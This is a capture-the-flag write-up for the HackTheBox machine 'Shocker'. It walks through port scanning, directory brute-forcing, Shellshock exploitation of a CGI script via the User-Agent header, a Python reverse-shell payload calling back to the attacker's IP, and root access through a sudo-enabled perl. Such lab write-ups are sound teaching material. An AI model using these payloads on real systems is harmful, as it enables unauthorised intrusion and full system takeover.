HackTheBox: Shocker
linux apache cgi-bin shellshock sudoShocker is a Linux-based machine authored by mrb3n, with an average rating of 4.6 stars.
// Lessons Learned
- When brute-forcing a webserver it’s sometimes necessary to use multiple wordlist repos, before you strike the right one for your target.
// Recon
┌──(kali㉿kali)-[~/HTB/shocker]
└─$ nmap -A -p- shocker.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 09:34 AEST
Nmap scan report for shocker.htb (10.10.10.56)
Host is up (0.068s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.39 seconds
Nmap completes an all-ports scan on this Ubuntu target very quickly, since there doesn’t seem to be much running:
- apache
2.4.18
on port80
- ssh on port
2222
Loading the site in a browser reveals a very simple homepage:
The page-source is virtually non-existent, and the http response headers add very little besides confirming the apache version. Running feroxbuster with several wordlists from SecLists doesn’t turn up much, except for the presence of a /cgi-bin
directory:
feroxbuster -u http://shocker.htb -w Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://shocker.htb
🚀 Threads │ 50
📖 Wordlist │ Discovery/Web-Content/common.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.1
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 11l 32w 295c http://shocker.htb/.htaccess
403 11l 32w 295c http://shocker.htb/.htpasswd
403 11l 32w 290c http://shocker.htb/.hta
403 11l 32w 294c http://shocker.htb/cgi-bin/
403 11l 32w 298c http://shocker.htb/cgi-bin/.hta
403 11l 32w 303c http://shocker.htb/cgi-bin/.htaccess
403 11l 32w 303c http://shocker.htb/cgi-bin/.htpasswd
200 9l 13w 137c http://shocker.htb/index.html
403 11l 32w 299c http://shocker.htb/server-status
[####################] - 6s 9422/9422 0s found:9 errors:0
[####################] - 5s 4711/4711 875/s http://shocker.htb
[####################] - 5s 4711/4711 903/s http://shocker.htb/cgi-bin/
// Initial Foothold
CGI (Common Gateway Interface) is a relatively old method of exposing server-side applications and functionality via a web interface, that has now largely been replaced by scripting languages such as PHP. It allows execution of scripts and binaries on the server, as though they were being executed from the server itself. This has implications because of things like shell environments, which have different expectations around the kind of inputs they accept. An example of where this has been known to cause security issues is the Shellshock vulnerability, that takes advantage of the way certain versions of bash
interpret certain HTTP headers. To determine if this target is vulnerable, we’ll first need to find a script within /cgi-bin
to exploit. It can sometimes take several wordlists to find the right one for a given target, but eventually we find a script with the help of one of dirbuster’s wordlists, alongside the -x sh,pl
argument (which indicates each word should be attempted with .sh
and .pl
suffixes):
┌──(kali㉿kali)-[~/HTB/shocker]
└─$ gobuster dir -u http://shocker.htb/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shocker.htb/cgi-bin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: sh,pl
[+] Timeout: 10s
===============================================================
2022/05/11 11:17:14 Starting gobuster in directory enumeration mode
===============================================================
/user.sh (Status: 200) [Size: 118]
This new url returns some basic output, indicative of a test script:
HTTP/1.1 200 OK
Date: Wed, 11 May 2022 01:53:27 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 118
Content-Type: text/plain
Just an uptime test script
21:53:28 up 2:18, 0 users, load average: 0.10, 0.03, 0.01
To test if the server is vulnerable, we need to specify a special value for one of the HTTP headers that Apache will make available as environment variables (those known to be vulnerable are User-Agent
, Accept
and Accept-Language
). This is the key to the vulnerability, because the bash shell we reach (if it’s vulnerable) will execute commands we supply in the header value. An example payload would replacing a normal User-Agent
string:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
with a malicious one:
User-Agent: () { :;}; echo; echo vulnerable
If we send a request to http://shocker.htb/cgi-bin/user.sh
with this header, the response indicates that the code we have supplied (echo vulnerable
) has been executed:
HTTP/1.1 200 OK
Date: Wed, 11 May 2022 01:44:06 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 130
vulnerable
Content-Type: text/plain
Just an uptime test script
21:44:06 up 2:09, 0 users, load average: 0.00, 0.00, 0.00
This happens because bash interprets () { :;}; echo;
as an empty function definition, which it imports according to its usual behaviour. In addition, it mistakedly goes on to execute the remainder of the value, in this case echo vulnerable
. A target that can be instructed to execute remote code can easily be instructed to setup a reverse shell, by first creating a listener on our attack box using penelope shell handler:
┌──(kali㉿kali)-[~/github/brightio/penelope]
└─$ python penelope.py 443
[+] Listening for reverse shells on 0.0.0.0 🚪443
and then sending the following header to initiate a reverse shell using python3 (discovered via an earlier payload of v=$(/bin/which python3); echo $v
):
User-Agent: () { :;}; echo; v=$(/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.230",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 2>&1); echo $v
and we catch a reverse shell:
[+] Got reverse shell from 🐧 shocker.htb~10.10.10.56 💀 - Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/shocker.htb~10.10.10.56/shocker.htb~10.10.10.56.log 📜
shelly@Shocker:/usr/lib/cgi-bin$
From here, we can navigate to the shelly
home dir and find the user flag in the usual location:
shelly@Shocker:/usr/lib/cgi-bin$ cd ~
shelly@Shocker:/home/shelly$ cat user.txt
2ec24e11320026d1e70ff3e16695b233
2ec24***************************
// Privilege Escalation
Before turning to enumeration tools like linPEAS or linenum, it’s often worth manually checking some obvious areas. In this case, we don’t have to look far to find a way in via sudo
:
shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Since we’re able to run perl
as root without supplying a password, a single command can be used to obtain a root shell:
shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/sh";'
# id
uid=0(root) gid=0(root) groups=0(root)
From here, we can retrieve the root flag from the usual location:
# cat ~/root.txt
52c27***************************